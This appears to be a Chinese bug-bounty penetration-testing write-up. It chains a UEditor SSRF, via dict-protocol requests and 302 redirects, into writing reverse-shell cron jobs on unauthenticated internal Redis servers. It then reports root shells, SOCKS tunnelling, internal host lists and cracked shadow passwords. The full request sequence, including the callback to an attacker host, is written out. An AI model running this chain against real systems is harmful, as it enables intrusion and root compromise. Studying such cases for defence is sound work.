**Github地址：https://github.com/r35tart/PenetrationTestingCase

-----------------------------------------------------漏洞详情：**低危SSRF漏洞

漏洞域名：http://xxxxxxxxx.*.com打开后自动跳转至：http://xxxxxxx.*.com/Public/login且状态码为404 一般这样的URI凭经验感觉是php的站，查看cookies基本可以确定是php的站

 

由于是404推测曾经可能跑过测试应用网站可能会遗留一些测试文件或者备份文件，故fuzz了一下看到phpmyadmin的状态码为206的时候就知道有WAF，应该不太好弄，但是看到ueditor百度编辑器的时候兴奋了，因为这很有可能存在SSRF，而你们的内网又那么大，搞不好还在我上次搞过的内网段中，所以如果存在SSRF的话有很大概率能够再次搞进内网。

 

几经测试最终找到此SSRF并成功触发

 

低危漏洞提权接下来要做的事

1. 摸清SSRF的状态是否为布尔状态

2. 此SSRF支持什么协议

3. 此SSRF是否支持302跳转

一、尝试请求一个没开放的1234端口回复"链接不可用"

二、尝试请求开放的22端口回显"链接不可用"

三、尝试请求开放的80端口回显"success"并把图片抓了回来

四、尝试请求我的302跳转回复"链接不可用"但是跳转成功。得出结论：

此SSRF为布尔型SSRF，能探测http应用并获取html源码、支持302跳转，可尝试通过响应速度来探测端口但误报率很高（某些端口可能是一直连接，最后超时）

 

知道此SSRF的性质以后便需要开始测试他支持什么协议了，经测试发现由于使用的php版本比较老支持好几个协议，使用gopher协议的时候状态为206提示有WAF，但WAF却没拦截DICT协议，虽然gopher协议有WAF拦截但是支持DCIT的话一样可以扫描内网redis写shell反弹，只不过相对麻烦而已，并不碍事。

 

现在有一个问题就是我并不知道内网IP段是多少，于是我便去Github上面去找内网域名，找到以下内网域名gitlab.corp.*.com、jk.corp.*.com、wiki.corp.*.com等… 并通过SSRF请求jk.corp.*.com从中获取到了内网IP信息

 

然后就开始尝试内网编织大致摸清了几个网段的分布和作用（根据logo识别应用）

 

 

最后发现88段应该为脆弱的开发业务段，根据之前搞了你们另外一个内网的经验，断定此段必定存在多个redis数据库而且还是空口令的，于是使用dict协议往10.20.85-95.1/24段发redis写shell的请求

使用dict协议向Redis数据库写shell

1.先清除没用的数据，防止定时任务执行失败

/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=flushall

2.利用302跳转写入反弹命令

/php/controller.php?action=catchimage&source[]=http://xxxx/s.php?s=dict%26ip=10.20.*.*%26port=6379%26bhost=*.*.*.*%26bport=1234

3.设置导出路径

/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=config:set:dir:/var/spool/cron/

4.设置导出名字

/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=config:set:dbfilename:root

5.导出

/php/controller.php?action=catchimage&source[]=http://xxxx/302.php?s=dict%26ip=10.20.*.*%26port=6379%26data=save

使用burp发包，为了避免语句顺序执行错误，故第一个包先跑50个再跑第二个包以此类推

 

获取内网多台ROOT权限

使用nc持续监听端口，刚刚全部跑完马上就有差不多15台左右主机反弹出来了而且都是root权限

 

在其中一台内网一台云服中发现了多个数据库并发现了f**p的相关业务

 

 

89段office办公主机 跑着***系统

渗透内网！

尝试打socket隧道出来

 

内网探测

 

使用ew打的socke隧道经常出问题，于是把自己写的内网探测脚本丢到服务器上跑了起来，只挑了几个重要的核心网段跑

 

 

发现172网段是 http://www.***.com/ 所在的业务段为了更加快速的定位到重要网段，我对内网域名进行了爆破并查看他们的解析地址

 

who.corp.*.com (10.20.95.89)

gongdan.corp.*.com (10.100.100.204)

work.corp.*.com (10.100.75.25)

jk.corp.*.com (10.20.95.86)

baize.corp.*.com (172.31.80.151)

asset.corp.*.com (10.20.95.50)

pm.corp.*.com (10.20.95.29)

wiki.corp.*.com (10.20.95.87)

cms.corp.*.com (172.31.80.101)

…….

本帖隐藏的内容需要积分高于 1000 才可浏览

抓了几个shadow的密码跑了一下 发现弱口令挺多的

 

一堆平台只是打开看了一下，并没有进一步操作

渗透到这里就该结束了，本想着下一步先使用metasploit打两台window后尝试拿域控的，因为比较难遇到这样的实战环境，但还是没有进行进一步操作，点到为止。此漏洞从周四晚上八九点发现低危SSRF到拿到内网ROOT权限用了不到三个小时时间，但是由于waf 和ids等设备的阻拦打socks隧道花了我将近两倍拿shell 的时间，最终发现不稳定的原因是我的nc -k参数持续监听了端口，导致内网十几台redis数据库都在同时请求我的端口上线，我想执行一条命令，将会同时在这十几台上线的主机上同时执行，这导致了我的socke端口堵塞，最后解决办法是，不用-k参数，当一台主机上线后，不接受其他主机上线请求。然后操作这台主机使用sSocks 再打一条相对稳定的socks隧道出来，直入内网，不得不说sSocks相比EW稳得一批。

结束语：

任何严重漏洞的背后必然是从一个不起眼的没什么技术含量的容易被忽略的漏洞引起的，做好细微漏洞的防范的能防止重大信息安全事故的发生。